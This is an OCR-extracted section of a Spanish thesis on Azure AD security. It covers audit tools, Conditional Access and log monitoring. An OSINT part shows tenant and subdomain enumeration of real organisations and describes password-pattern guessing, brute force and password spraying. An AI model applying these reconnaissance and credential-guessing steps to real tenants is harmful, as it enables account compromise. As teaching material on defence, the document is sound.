Ademas, aunque implicitamente no esté escrito, pero se evidencia por los ataques
realizados, la importancia de la formacién en ciberseguridad de los empleados. La falta
de conciencia sobre las tacticas de los atacantes puede hacer que nuestros empleados
sean un blanco facil para los ataques de phishing y otras tacticas de ingenieria social.

En resumen, aunque la fase de post-explotacién ha revelado varias debilidades en
nuestra implementacion de Azure AD, también nos ha proporcionado la informacién
necesaria para fortalecer nuestras defensas y proteger mejor nuestra organizacién contra
futuros ataques.
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4. Implementacion de buenas practicas

Hasta ahora, hemos explorado en profundidad el funcionamiento de Azure Active
Directory, los protocolos que utiliza, el concepto de identidad en el contexto de la
ciberseguridad. Hemos identificado y explotado las vulnerabilidades existentes en Azure
AD, lo que nos ha proporcionado una comprension clara de las areas que requieren
nuestra atencion.

Ahora, nos encontramos en un punto crucial de nuestro estudio. Después de haber
expuesto las debilidades, es el momento de cambiar nuestro enfoque hacia la solucion:
la implementacion de buenas practicas de seguridad.

En esta seccidn, vamos a discutir una serie de técnicas y estrategias que pueden ayudar a
fortalecer la seguridad de Azure AD. Estas técnicas no solo nos permitiran mitigar los
riesgos que hemos identificado, sino que también nos prepararan mejor para enfrentar las
amenazas futuras y la deteccion de muchas de ellas.

Vamos a explorar como podemos utilizar las herramientas y caracteristicas disponibles
en Azure AD para mejorar nuestra postura de seguridad. Aunque muchas de estas
propuestas se pueden usar en los ambos sentidos de la seguridad, tanto para atacar
como para defender, nuestra postura sera ver lo que ven y hacen los cibercriminales para
tomar una accién defensiva.

4.1 Uso de OSINT para enumerar

OSINT viene de Open Source Intelligence. Esta parte de la ciberseguridad hace referencia
a la multitud de fuentes abiertas a partir de las cuales podemos obtener informacion
relevante sobre un objetivo. Existen infinidad de fuentes donde se puede obtener esta
informacién desde foros, redes sociales, DarkWeb, DeepWeb, bibliotecas, informacion
publica, medios de comunicacion... (Incibe, 2014)

En nuestro caso si nos centramos en que podemos auditar desde fuera de nuestra
organizacién sobre nuestro AzureAD. En ninguno de estos casos tenemos credenciales
para analizar el entorno.

4.1.1 OSINT AADInternals Web

Desde AADinternals podemos hacer uso de una herramienta que introduciendo un tenant
id, email o dominio, nos pintara informacion sobre el dominio:

https://aadinternals.com/osint/

Para este ejemplo he usado Elcorteingles.es:


https://aadinternals.com/osint/

de Catalunya

Uo c Universitat Oberta uoc.edu

Enter tenant id, domain name, or email:

elcorteingles.es Get information

Property Value
Default domain elcorteingles.onmicrosoft.com
Tenant name elcorteingles.onmicrosoft.com
Tenant brand El Corte Inglés, S.A.
Tenant id daDa0es6-5246-475d-8b74-5f01870d2177
Tenant region EU
Seamless single sign-on (SS50) disabled
Uses Azure AD Connect cloud sync N/A
Certificate-based authentication (CBA) N/A
Werified domains 243
Domain Type 5TS
adiospapeles.com Federated identity-services.elcorteingles.es:4
agencias.clubdevacaciones.es Federated identity-services.elcorteingles.es:4
agencias.int.viajeselcorteingles.es Managed
agencias.viajeselcorteingles.com.co Managed
agencias.viajeselcorteingles.com.mx Managed
agente.seguroseci.es Federated identity-services.elcorteingles.es:4

llustracion 43: Ejemplo OSINT Web

4.1.2 OSINT AADInternals PowerShell

Esta herramienta también esta disponible desde command line (cli). Mediante Invoke-
AADIntReconAsOutsider -Domain "nombre" | format-table

En este caso para la UOC:

PS C:\Users\PABLO\Desktop\AADInternals-master\AADInternals-master> Invoke-AADIntReconAsOutsider | format-table
Tenant brand: Universitat Oberta de Catalunya
Tenant name: uocB.onmicrosoft.com
aec762el-3d5U-U95e-aBfe-U287dce6fe69
EU
DesktopSSO enabled: False

Name DNS SPF DMARC DKIM MTA-STS

pre.uoc.edu False False False False Federated id-provider.uoc.edu
Ss0.am.uoc.es True False True False False Federated id-provider-pre.uoc.edu
uoc. edu True False True False False Federated id-provider.uoc.edu
uoc@.onmicrosoft.com True True True False False LELEGEL]

Illustracion 44: Ejemplo OSINT PS

4.1.3 OSINT Microburst

Con Microburst, nos tenemos que bajar el desde GitHub importar los cmdlety en este
caso realizamos un comando para que no nos bloquee ninguno:

dir -Recurse .\MicroBurst-master | Unblock-File
Import-Module .\MicroBurst.psm1

Invoke-EnumerateAzureSubDomains -Base “lo que queramos buscar” - Verbose


https://github.com/NetSPI/MicroBurst
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UOC

PS C:\Users\PABLO\Desktop\MicroBurst-master\MicroBurst-master> Invoke-EnumerateAzureSubDomains
: Found site-UOC.scm.azurewebsites.net
: Found UOC.onmicrosoft.com
: Found UOCit.onmicrosoft.com
: Found myUOC.onmicrosoft.com
: Found UOCtest.onmicrosoft.com
: Found UOC.database.windows.net
: Found UOC.mail.protection.outlook.com
: Found UOCit.mail.protection.outlook.com
: Found UOCtest.mail.protection.outlook.com
: Found UOC.queue.core.windows.net
: Found storageUOC.queue.core.windows.net
: Found UOCstorage.queue.core.windows.net
: Found UOCstorageaccount.queue.core.windows.net
: Found UOC.blob.core.windows.net
: Found storageUOC.blob.core.windows.net
: Found UOCstorage.blob.core.windows.net
: Found UOCstorageaccount.blob.core.windows.net
: Found UOC.file.core.windows.net
: Found storagelOC.file.core.windows.net
: Found UOCstorage.file.core.windows.net
: Found UOCstorageaccount.file.core.windows.net
: Found UOC-keys.vault.azure.net
: Found UOC.table.core.windows.net

: Found storageUOC.table.core.windows.net
: Found UOCstorage.table.core.windows.net
: Found UOCstorageaccount.table.core.windows.net

: Found site-UOC.azurewebsites.net
: Found UOC.sharepoint.com

: Found UOC-my.sharepoint.com

: Found UOC-web.sharepoint.com

Service

C.azurewebsites.net
C.scm.azurewebsites.net
UOC. database . windows . net
UoCtest.mail.protection.outlook.com
UOC.mail.protection.outlook.com
UOCit.mail.protection.outlook.com
UOC-keys .vault.azure.net
UOC. onmicrosoft. com
UOCit.onmicrosoft.com
UoCtest.onmicrosoft.com

App Services

App Services - Management
Databases-MSSQL

Email

Email

Email

Key Vaults

Microsoft Hosted Domain
Microsoft Hosted Domain
Microsoft Hosted Domain

Microsoft Hosted Domain
SharePoint

myUOC . onmicrosoft . com
UOC-web . sharepoint . com
UOC-my . sharepoint.com SharePoint
UOC. sharepoint. com SharePoint
UOCstorageaccount.blob.core.windows.net Storage Accounts - Blobs

Ilustracion 45: Ejemplo MicroBurst

4.1.4 OSINT Como obtener credenciales

Algunos ejemplos de los cuales también podriamos obtener més informacién sobre un
tenant, pero los cuales no vamos a hacer ejercicio técnico. Podriamos obtener usuarios
con la técnica de LinkedIn Scraping existen varios scripts en Phyton que permiten obtener
los datos de contacto de sus empleados, solamente informando de la empresa.

Otra fuente que se suele usar es la web o los sitios publicos de la empresa, si obtenemos
la nomenclatura que usa la empresa para sus correos electronicos, por ejemplo:

Pablo.martin@empresa.com o0 pmartin@empresa.com o pablo@empresa.com

Con este dato nos podemos generar una lista de los usuarios validos y sus correos
electronicos. Para verificar si son validos o no, el propio servidor de correo cuando
enviemos un email nos notificara si la direccién a la que hemos enviado existe o no.

Por otro lado, esta la obtencién de las contrasefas, si ya tenemos el login, tendremos que
buscar una informacion para sacar la contrasena. Podemos utilizar patrones tipicos de
los usuarios:

e E(mayuscula)mpresa+Ano
e E(mayuscula)mpresa+Mes

( )

( )
e E(mayudscula)mpresa+Ano+ (caracter especial)
e E(mayudscula)mpresa + (caracter especial) +Afo
( )

e E(mayuscula)mpresa+Ano+ (caracter especial) + (caracter especial)


mailto:Pablo.martin@empresa.com
mailto:pmartin@empresa.com
mailto:pablo@empresa.com
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Otra opcion es usar diccionarios de palabras (wordlists) de las contrasefias que mas se
han visto en las exfiltraciones de datos (leaked). Alglin ejemplo de ellos lo podemos
encontrar en lhvePwnedPassword:

https://www.ncsc.gov.uk/staticjson/static-assets/documents/PwnedPasswordsTop100k.txt

Existen medidas para que los empleados de una organizacién no usen contrasefias
débiles, que hayan sido leaked, o bien que contengan palabras que consideramos como
débiles debido a nuestro contexto como organizacion. Si, por ejemplo, trabajasemos en
Zumosol, esta palabra no deberia estar permitida dentro de la contrasefa.

4.1.5 Ejecutar una estrategia con datos obtenidos via OSINT

Una vez logrado conocer cuales son las posibles credenciales de un obijetivo, lo que los
cibercriminales intentaran es validar si consiguen unas credenciales validas para acceder
al tenant. Para ello estableceran una estrategia existen multiples, pero principalmente
podriamos resumir en 3 las mas usadas e importantes:

1. Fuerzabruta
2. Password Spray
3. Ataque Dirigido

La primera de ellas es muy cldsicay no solo usado en entornos SaaS sino en todos los
entornos on-premise. Escogemos un usuario y empezamos a probar todas las
contrasefas que hemos ido confeccionando.

A

StayHome2020 Azure Subscription

Adaeze

Winter2020
Winter2020

myPassword123

- myPassword123
P@sswOrd2020

1q2w3edr Azure Active

1q2w3edr Directory

P@$SWOrd2020

dragon1401

Kwasi

Ilustracion 46: Ataque Fuerza Bruta

La segunda de ellas Password Spray se trata de un tipo de fuerza horizontal, es decir,
buscaremos para una contrasefa que usuario la tiene.


https://www.ncsc.gov.uk/staticjson/static-assets/documents/PwnedPasswordsTop100k.txt
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A

- StayHome2020 Azure Subscription

- Adaeze

P oo v Winter2020
myPassword123 /
Azure Active
1q2w3edr Directory

dragon1401

Kwasi

llustracion 47: Ataque Password Spray

Y, por ultimo, un ataque dirigido, ejecutaran ejercicio de ingenieria social con el objetivo
de robar estas credenciales.

4.2 Herramientas para auditar AzureAD y Office365

En el siguiente apartado exploraremos distintas herramientas que estan disponibles para
auditar AzureAD y Office365. Estas herramientas permiten a las organizaciones conocer
el estado de salud de nuestro tenant, detectar configuraciones débiles descubrir las
puertas traseras que hayamos podido dejar. Al proporcionar esta vista completa del
tenant, nos permite conocer el estado de la organizacién y de como actuar para proteger
los activos digitales.

A lo largo de este trabajo examinaremos varias de estas herramientas, discutiremos sus
caracteristicas, ventajas y proporcionaremos una orientacion de cémo pueden ser
usadas de manera efectiva para auditar tanto AzureAD como office365.

El objetivo es proporcionar una idea de las opciones disponibles y como pueden ser
utilizadas para mejorar la seguridad y gestidn de las identidades de la organizacién.

Todas las herramientas mostradas son de software libre para las empresas y estan
disponibles para ser utilizadas.

4.2.1 PingCastle

La primera herramienta se denomina PingCastle esta disponible desde la pagina del
autor: https://www.pingcastle.com/download/ y dispone de una versién Free en la que
vamos a conseguir que nos genere un reporte con los controles que se han verificado.
Simplemente nos descargamos el software, lo descomprimimos y lo ejecutamos desde
un cmd o powershell. Para auditar AzureAD escogemos la opcion 2.


https://www.pingcastle.com/download/
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Illustracion 48: Ejecucién PingCastle

Podremos hacer login con el PRT o introduciendo credenciales. Para este tipo de
herramientas cuantos mas privilegios les demos o ‘Global Admin’, los resultados seran
mas completos:

Ilustracion 49: Ejecucion PingCastle 2

Al finalizar genera un reporte en PDF con todo lo que ha encontrado:

/PABLO/Deskiop/Ping 2.0.1/pingeastlecioud alfredobbq.onmicrosoft.co

This report has been generated with the Basic Edition of Pir

Being part of a commerclal package Is forbidden (selling the information contained in the
report)

If you are an auditor, you MUST purchase an Auditor license to share the development effort

<\

Illustracion 50: Reporte PingCastle

Cabe mencionar que esta herramienta es muy potente para entornos on-premise contra
Active Directory. (PingCastle, 2024)

4.2.2 PurpleKnight

PurpleKnight es otra herramienta muy parecida a PingCastle. En este caso es de un
fabricante de seguridad llamado Semperis, que esta centrado en Active Directory y Azure
AD. La mayoria de todos sus productos son bajo licencia de uso, a excepcién de
PurpleKnight. (Semperis, 2024)
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Para descargarla tendremos que rellenar un formulario desde su web y nos enviaran el
enlace de descarga a nuestro email: https://www.semperis.com/es/purple-
knight/request-form/

Descomprimimos el ZIP y permitimos la ejecucién desde PowerShell:
dir -path “ruta” -Recurse | Unblock-File

Como vamos a auditar AzureAD es necesario crear una aplicacion y dar permisos:

1. Vamos AzureAD a registro de aplicaciones.
2. Creamos unay le damos un nombre descriptivo. Los settings por defecto:

Registrar una aplicacion

* Nombre

Nombre para mostrar accesible por los usuarios de esta aplicacin. Se put

[ Purpleknight

Tipos de cuenta compatibles

;Quién puede usar esta aplicacién o acceder a esta API?
(®) Solo cuentas de este directorio organizativo (solo de ALFREDOS: inqu
O Cuentas en cualquier directorio organizative (cualquier inquiline de i

(O cuentas en cualquier directorio organizacional (cualquier inguiline de
Microsoft (por ejemplo, Skype, Xbox)

O Solo cuentas personales de Microsoft

llustracion 51: Configuracion PurpleKnight1

3. Unavez creadavamos a los permisos APly le damos a agregar permisos.
4. Seleccionamos Microsoft Graph y Permisos de aplicacion
5. Escogemos todos estos y pulsamos en afadir:

AdministrativeUnit.Read.All
Application.Read.All
AuditLog.Read.All
Device.Read.All
Directory.Read.All
GroupMember.Read.All
Policy.Read.All
PrivilegedAccess.Read.AzureAD
Reports.Read.All
RoleEligibilitySchedule.Read.Directory
RoleManagement.Read.All
RoleManagement.Read.Directory
User.Read.All

UserAuthenticationMethod.Read.All

S®P S0 Q00D

S5 3~

6. Parafinalizar pulsamos conceder consentimiento del administrador:


https://www.semperis.com/es/purple-knight/request-form/
https://www.semperis.com/es/purple-knight/request-form/
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PurpleKnight | Permisos de APl #

000000 O0COCDOCOODOOOO

Illustracion 52: Configuracion PurpleKnight2

Por ultimo, es necesario crear un secrety copiarnos los valores del tenant ID, aplicacion
IDy el valor del secret. Para este ultimo vamos a secrety generamos uno, nos tendremos
que copiar el valor. Para los otros valores basta con copiarlos desde la pestafia de
informacidn general.

Ejecutamos PurpleKnight.exe desde los ficheros que descomprimimos, aceptamos los
términos de licencia y con los valores del ultimo apartado los rellenamos marcando Azure
Active Directory:

1 ' & AZURE ACTIVE DIRECTORY @ Connected

Fill in the details from the Azure application. Learr
Tenant ID o
Application ID Q

Application Secret

Illustracion 48: Test Connection PurpleKnight

Marcamos todos los test en la siguiente ventana y lanzamos la auditoria:

PURPLE KNIGHT (Community edition)
Agreement Environment Indicators Progress Summary

1 2 (3] 4 5

Review the indicators included in the scan

i Q & REFRES

v Azure AD (35) Azure AD
Description

Azure AD indicators look for commr
that threat actors use to gain acces
environment,

Weight
7

Ilustracidn 49: Ejecucion Auditoria PurpleKnight
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Cuando acabe nos devolvera una nota en funcién de los resultados de nuestro tenanty
podremos acceder al reporte donde veremos que configuraciones son mejorables:

¢ Azure AD

Tenant alfredobbg.onmicrosoft.com
I0Es found 9
App ID a2d8b018-0283-4fd1-aef8-9872ba...

Ilustracion 50: Resultados PurpleKnight

4.2.3 Monkey365

Es otra herramienta para auditar AzureAD y todas las posturas en relacion con la
ciberseguridad de Office365. Su autor es Juan Garrido, mas conocido por Tr1ana. Aligual
que las otras herramientas de auditoria, Monkey365 nos puede ayudar a buscar
configuraciones erréneasy problemas de seguridad en cuentas, de acuerdo con las
mejores practicas de seguridad y siguiendo los estandares CIS en cuanto a Azure,
AzureAD Yy las aplicaciones de Office365. Para empezar, descargaremos desde GitHub:
https://github.com/silverhack/monkey365. Es necesario ejecutar este software en
Powershell 7, que se puede descargar de aqui: https://docs.microsoft.com/en-
us/powershell/scripting/install/installing-powershell-core-on-linux?view=powershell-7

(Garrido, 2023)

Desbloqueamos los cmdlet: Get-Childltem -Recurse “Ruta” | Unblock-File

Importamos los cmdlet: Import-Module monkey365. Los permisos necesarios para que
Monkey365 funcione de manera correcta son:

e AzureAD: Global Reader

e Suscripciones: SecurityReader

e Office365: GlobalReader

e Sharepoint: Sharepoint Administrator

Existe multitud de opciones para auditar dentro, en este caso solamente voy a probar
contra Office365:

PS C:\monkey365> Invoke-Monkey365 HTML SelectAccount Microsoft365

mdlet Invoke-Monkey365 at command pipeline position 1
Supply values for the following parameters:
Analysis[@]: Microsoft365

Analysis[1]:
JARNING: [21:51:51:899] - [New-Logger] - Log is already configured and active - warning - LAPTOP-PMP - Monkeylog
PS C:\monkey365> |

Ilustracion 51: Ejecucion Monkey365

El resultado lo guardara en la misma carpeta de ejecucion en Reports en formato HTML:


https://github.com/silverhack/monkey365
https://docs.microsoft.com/en-us/powershell/scripting/install/installing-powershell-core-on-linux?view=powershell-7
https://docs.microsoft.com/en-us/powershell/scripting/install/installing-powershell-core-on-linux?view=powershell-7
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@' Monkey365

Microsoft 365 > ALFREDOS

llustracidon 52: Reporte Monkey365

4.2.4 CrowdStrike Reporting Tool for Azure (CRT)

Esta es otra herramienta gratuita para auditar Office365 y AzureAD, pertenece a un
fabricante de reconocido nombre en ciberseguridad como CrowdStrike. Esta nos
permitira encontrar debilidades de las configuraciones, permisos excesivos y nos dara
consejos para solucionarlo. Es necesario ser GlobalAdmin para que la herramienta
muestre los valores de las configuraciones. (CrowdStrike, 2024)

Descargamos desde GitHub el software: https://github.com/CrowdStrike/CRT

Ejecutamos el comando: .\Get-CRTReport.ps1y nos solicitar que hagamos login con el
Global Admin.

PS C:\Users\PABLO\Desktop\CRT-main\CRT-main> .\Get-CRTReport.psl

Advertencia de seguridad

Ejecute solo los scripts de confianza. Los scripts procedentes de Internet pueden ser G(tiles, pero este scr
dafiar su equipo. Si confia en este script, use el cmdlet Unblock-File para permitir que se ejecute sin este
advertencia. ;Desea ejecutar C:\Users\PABLO\Desktop\CRT-main\CRT-main\Get-CRTReport.psl?

[N] No ejecutar [Z] Ejecutar una vez [U] Suspender [?] Ayuda (el valor predeterminado es "N"): Z
[202U-05-02 22:05:08Z] - Checking for PowerShell module prerequisites

[2024-85-082 22:05:88Z] - Uninstalling old versions of the ExchangeOnlineManagement module (< 3.1.8)
[2024-85-82 22:05:12Z] - Installing ExchangeOnlineManagement module

NOTE: Using default authentication. This method will prompt you for login credentials multiple times.

llustracion 53: Ejecucion CrowdStrike

Una vez finalizado nos dejara ficheros txt y csv con los reportes obtenidos:


https://github.com/CrowdStrike/CRT
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CRT-main > CRT-main > 2024050370005

T Ordenar ~ = Ver ~

Mombre - Fecha de modificacidn Tipo Tamano

Carpeta de archivos

. FederationConfiguration 5 Documento de te...
I FederationTrust 0 0:06 Documento de te...
. FullAccessPerms.csv 0 0:06 Excel.CSV
B Office365AdminGroupMembers.csv 0:06 Excel.C5V

. RemoteDomainMames.csv 0 0:06 Excel.CSV

llustracion 54: Reportes CrowdStrike

4.2.5 Microsoft Azure AD Assessment

Por ultimo, exploraremos esta es una herramienta que Microsoft nos facilita para
auditarnos y ver los resultados del Audit en PowerBl Desktop. Primero necesitamos crear
una aplicacién en AzureAD y rellenar la URI con: (Microsoft, 2022)

https://login.microsoftonline.com/common/oauth2/nativeclient

Registrar una aplicacion

llustracidon 55: Configuracion APP Azure AD Assessment

Una vez realizado esto, vamos al apartado de autenticacién y marcamos este flag como
Si:
Advanced settings
Allow public client flows O
Enable the following mobile and desktop flows: )
s App collects plaintext password (Resource Owner Password Credential Flow) Learn more !

* No keyboard (Device Code Flow) Learn more]!
* 550 for domain-joined Windows {Windows Integrated Auth Flow) Learn more!

Ilustracion 56: Configuracion APP Azure AD Assessment 1
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Vamos a PowerShell e instalamos el médulo necesario: Install-Module AzureADAssessment -
Force -Scope CurrentUser

Nos conectamos con el id de aplicacion que hemos generado esto nos solicitara
permisos: Connect-AADAssessment -Clientld "App ID"

Permisos sol

Enra ent A

Micrasoft no ha publicado esta aplicacion,

llustracion 57: Permisos Azure AD Assessment

Y por ultimo ya lanzaremos el proceso de auditoria: Invoke-AADAssessmentDataCollection y
completamos el proceso para cargar los datos en nuestro cuadro de mandos:

PS C:\Users\PABLO> Invoke-AADAssessmentDataCollection
Directorio: C:\AzureADAssessment\AzureADAssessmentData

LastWriteTime Length Name

03/85/202U
Exporting applications: Completed 1 in 00:80:00
Exporting appRoleAssignments: Completed 16 in ©9:00:80
Exporting oauth2PermissionGrants: Completed 2 in 00:00:00
Exporting servicePrincipals (JSON): Completed 3 in 00:00:00
Exporting servicePrincipals (CSV): Completed 3 in 00:00:00
Exporting groups: Completed 8 in 80:00:00
Loading users in lookup cache
Loading users registration details in lookup cache
Exporting UserReport: Completed 1 in 00:00:00
Loading groups in lookup cache
Loading administrative units in lookup cache
Loading applications in lookup cache
Loading service principals in lockup cache
Exporting RoleAssignmentReport: Completed 1 in 0@:00:00
Exporting AppCredentialsReport: Completed 1 in 08:00:80
Exporting ConsentGrantReport: Completed 29 in ©0:00:80

PS C:\Users\PABLO> Complete-AADAssessmentReports

cmdlet Complete-AADAssessmentReports en la posicidon 1 de la canalizacion de comandos
Proporcione valores para los parametros siguientes:
Path: C:\AzureADAssessment\AzureADAssessmentData-alfredobbq.onmicrosoft.com.aad

llustracion 58: Audit AzureAD Assesment

Nos descargamos PowerBl desde este enlace y cargamos las plantillas que se han
generado:


https://powerbi.microsoft.com/en-us/desktop/
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Sin titulo - Power BI Desktop

Ver Optimizar Ayuda

MiEe@ B P LB M4 K g BE ap

25 de ntroducir Dataverse Crigenes | Transformar Actualizar | Nuevo objeto Cuadra de Mas objetos | Nueva Publicar | Ci
© Sewer dafos recientesv | datos visual o visuslesv | medida répida

Confids:

I aplicada. Para obtener una funcionalidael completa al editar el archivo, se recomienda iniciar sesion en Power BI
L - J
Number of Policies Enabled ‘ ‘ Number of Policies Reporting ‘ ‘ Number of Policies Disabled

0 0

Palicy Name Policy ID state

The Conditional Ac: s cks uste the health of y

g These checks help to ensure that your
tznant's CA pos: To view the details

= blue Status text next to each check.

Check

Proper Exclusion

Proper Inclusion

Break Glass Hygiene

Block Legacy Authentication

Bad Practice Avoidance
App Lockout Risk
Guest Coverage
Office 365 Coverage
Azure Management Coverage

Stale Inclusion/Exclusion

Network Locations Recommendations Available

Note: For a comprehensive guide of Microsoft's recommendations. check out the Conditional Access Deployment Plan

llustracion 59: Reporte AzureAD Assessment

4.3 Implementar Conditional Access

4.3.1 ;Qué es el Conditional Access?

Durante la fase ofensiva veiamos que muchos de los atagues ofensivos se podian haber
mitigado con el acceso condicional. Pero realmente qué es el acceso condicional. Al final
si entendemos que el perimetro de seguridad se extiende mas alla de usuarioy
contrasefa, que necesitamos sabery conocer mas detallas del cémo, quién, en qué
momento, desde donde, desde que ordenador, en qué condiciones esta ese ordenado, si
a toda esta informacién la llamamos sefales. Al final todas estas sefiales son las que va a
provocar un comportamiento u otro en funcién de las circunstancias que la organizacion
haya definido. Por ser practicos, y dar un ejemplo para que se entienda mejor. No es lo
mismo que un usuario se conecte en horario laboral desde su ordenadory que acceda a
los datos de la organizacidén, que este mismo usuario se me conecte desde un pais de
baja reputaciéon, desde un ordenador que no se encuentra registrado y usando un método
de autenticacion poco habitual relacionado con sus labores.

Todas estas politicas de confianza cero (Zero Trust) determinaran si el login se permite, no
se permite o se permite, pero con restricciones. En el siguiente diagrama podemos ver
algunos de los origenes que podremos usar para validar estas senales:
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Zero Trust Data
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— = 010101
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L A Access e ]
| = @ Microsoft
Defender Y 3
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| (e 1o Cloud App
I—‘—“ Microsoft telligence & Security
Endpoaint s
Manager -

Ilustracion 60: Conditional Access Senales (Microsoft, 2024)
Algunos ejemplos de estas sefales pueden ser:

e Serusuario o miembro de grupo: Las politicas pueden ser especificas para ciertos
usuarios y grupos, otorgando a los administradores una supervision mas detallada
del acceso.

e Geolocalizaciéon de la IP: Las empresas pueden crear intervalos de direcciones IP
de confianza que se pueden usar al tomar decisiones sobre directivas. Ademas, se
puede permitir o bloquear el flujo de trafico desde rangos de direcciones IP de
paises o regiones enteras.

e Tipo de Dispositivo: Los usuarios con dispositivos de sistemas operativos
concretas o marcados con un estado concreto se pueden usar al aplicar
directivas de acceso condicional.

e Aplicacidn: Los usuarios que buscan acceder a aplicaciones determinadas
pueden desencadenar diversas politicas de acceso condicional.

e Deteccidn de riesgo en tiempo real: Permite supervisar en tiempo real el acceso a
las aplicacionesy los login de los usuarios. Esto aumenta la visibilidad y el control
en el acceso junto con las actividades dentro de Azure.

e Microsoft Defender para aplicaciones en la nube: Facilita el monitoreo y la gestién
en tiempo real del acceso a las aplicaciones y las sesiones de los usuarios. Esto
mejora la visibilidad y el dominio sobre el acceso y las acciones llevadas a cabo
dentro de Azure.

Por ultimo, cabe mencionar que no existe un requisito minimo de licenciamiento,
Microsoft Entra ID Plan 1 esta incluido con cualquier suscripcién a Microsoft Cloud
como Azure u Office365.

Para configurar estas politicas, entrariamos en Portal.azure.com > AzureAD >
Seguridad > Conditional Access > Politicas
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4.3.2 ;Qué debemos implementar con el Conditional Access?

Antes de implementar medidas en el acceso condicional que den cobertura a una
organizacion, se deberia de contar un mapa de nuestros activos, es decir, conocer lo que
se debe proteger. Es fundamental saber donde estan los datos y establecer una politica
de acceso a ellos. En funcién de los casos de usos qué se elaboren se deben establecer
estas medidas. Como recomendacion es empezar en modo “monitor”, es decir la medida
no tomara accion algunay podremos ver si se estaria aplicando para nuestro caso de uso
y de menos a mas, es decir empezar con un grupo pequefia de usuarios o aplicaciones,
monitorear e ir ampliando. Es un proceso gradual en ningun caso se recomienda ni
bloquear ni permitir todo en un solo intento.

En cuanto a las medidas de seguridad mas estandar que podria aplicar a cualquier
organizacion por el mero hecho de usar AzureAD u Office365, es proteger los
administradores y los accesos administrativos.

Para el primer caso de proteccion a los administradores, una buena medida de seguridad
es que cualquier miembro con algun tipo de rol o privilegio sobre una suscripciéon de
Azure que sea obligatorio requerirle un doble factor de autenticacion fuerte. Para
Microsoft existen varios dobles factores de autenticacion, en este caso el basado en
tokens de hardware es mas seguro que el de notificaciones push.

Otra buena medida de autenticacién es bloquear cualquier acceso de administradores
desde ubicaciones que no sean de confianza. Por ejemplo, si sabemos que nuestros
administradores no trabajan desde Kuala Lumpur, directamente denegar las conexiones.

Requerir que el acceso como administrador se haga desde una maquina “conocida” es
decir o bien este unida al dominio o bien se encuentre bajo Microsoft Intune. También
podemos aplicar esta medida a los portales administrativos.

Si hablamos de los accesos administrativos, ya vimos en puntos anteriores y en los
ataques ofensivos, que por defecto se encuentran abiertos todos los accesos
administrativos para todos los usuarios del tenant. Con el acceso condicional podremos
bloquear todos los accesos mediante una regla, a excepcion de los administradores.
Solamente habria que afiadirla aplicacion: windows azure service management apiy
portal admins, en la politica.
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Home > Conditional Access | Overview > Policies

Block Windows Azure Service Management API X
Conditional Access policy
[& Delete ‘5" view policy information
Control access based on Conditional Access Control access based on all or specific network o>
policy to bring signals together, to make access traffic. cloud apps or actions.
decisions, and enforce organizatianal policies.  Learn more (7
Learn more &'
select what this policy applies to
Name * | cioud apps ~
[ Block windows Azure Service Management... |
Include  Exclude
Assignments —_—
O None
Users (O
() Al coud apps
All users included and specific users excluded —
I (®) select apps

[Farget resources ©
Edit fitter

1 app included

None

Conditions ()

Select

0 conditions selected

Access controls

e Service Manag... ...
D3 dscIB6303

Grant ©

Bloc|

A\ Don't lock yourself out! This policy
impacts the Azure portal, Before you
0 controls selected continue, ensure that you or someone
else will be able to get back into the

Session (

llustracion 61: Bloqueo portal Admins

Aun haciendo todo esto dejariamos abierto la conexidn via PowerShell a GraphExplorer,
para bloguear esto la Unica forma de bloquearlo también seria escogiendo la opcidon de
todas las aplicaciones y exceptuando aquello que si que permitimos, segun las
necesidades que existan por parte de negocio.

4.4 Ver los eventos y log de Azure AD

Taly como hemos podido ver en los puntos anteriores monitorizar y poder relacionar lo
que estd ocurriendo en nuestro Azure AD con casos de uso es necesario casi para
cualquier organizacion que este preocupada por la ciberseguridad dentro de AzureAD.
Una de las maneras de ver que esta ocurriendo en AzureAD es ir a los logs y ver realizar
una busqueda por con los filtros que nos propone Microsoft.

Para llegar a ello tenemos dos tipos de logs. Los que se reflejan en los inicios de sesién
(sing-in logs) o los Logs de Auditoria (Audit log). Ambos dos nos van a aportar una visiéon de
lo que sucede en nuestro tenant.

El primero, sing-in logs, registra los inicios de sesién de usuario interactivos (realizados
por un usuario), inicios de sesién de usuario no interactivos, inicios de sesién de entidad
de servicio e inicios de sesion de identidad administrada.

El segundo, los Audit log, se centra en eventos del tenant, mostrando, fechay hora en que
se produjo el evento, servicio que ha registrado la peticién, categoria y actividad, estado
de la actividad (OK o NO OK)

Para acceder a ellos basta con ir a Azure Active Directory > Monitoring > Sing-in Logs o
Audit Logs. Es necesario disponer de roles especificos, son varios quién puede dar
acceso, o ser global Admin del tenant.

Por otro lado, existen una limitaciéon en cuanto a la duracién de estos logs en funcion de
nuestro nivel de licenciamiento. Si solamente se dispone de un licenciamiento Microsoft
Entra Plan Free los logs se van eliminando cada 7 dias. Si se dispone Plan 1 o Plan 2,
Microsoft almacena los logs durante 30 dias. (Microsoft, 2023)
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4.4.1 ;Como crear casos de uso en Azure AD?

Existen soluciones comerciales tipo Administracion de eventos e informacion de
seguridad (Security Information and Event Management) que son capaces de conectarse
con un tenanty llevarse estos logs para poder correlacionarlos con determinados casos
de uso que se puedan plantear. Por mencionar algunas de las herramientas de pago mas
usadas, podemos encontrar Splunk o Q-Radar. Por supuesto, Microsoft también dispone
de un SIEM, Microsoft Sentinel bastionado sobre Azure, el cual tiene una integracion
todavia mas directa que los SIEM comerciales que hemos mencionado.

Este tipo de herramientas suelen venir con unas reglas por defecto para que son validas
para casi todas las organizaciones. Ninguna empresa deberia quedarse solo en ese punto,
con las reglas de por defecto, sino intentar crear mas casos de uso adhoc a su negocio.

Es importante saber que los SIEM suelen tener un coste elevado para casi cualquier
organizacion de tamafo pequeno-mediano. Muchas de ellas subcontratan a empresas
especialistas en ciberseguridad este servicio de equipo de seguridad (Security Operations
Center) que ya disponen de unos SIEM con el cudl reparten el gasto entre todos sus
clientes.

Sin embargo, existe una manera de configurar nuestro tenant, sin disponer de un SIEMy
que nos permita almacenar estos logs mas de 30 dias, y correlacionar casos de uso es
mediante Azure con un gasto minimo comparandolo con las herramientas comerciales.
Lo Unico que es necesario es disponer de una suscripcion en Azure, que va a ser el coste
que tendremos por almacenar los logs.

Creamos un area de trabajo de log analytic y lo asociamos a un grupo de recursos.
Seguidamente vamos a AzureAD > Configuracion del diagndstico. Agregamos una
configuracion del diagndstico. Marcamos AuditLogs, SinginLogs y escogemos el area de
log analytic que creamos:

= Microsoft Azure £ Buscar recursos, servicios y documentos (G+/)

Inicio > seguridadsi | Configuracién de diagnéstico

Configuracién de diagnéstico

[il Eiminar &7 Comentarios

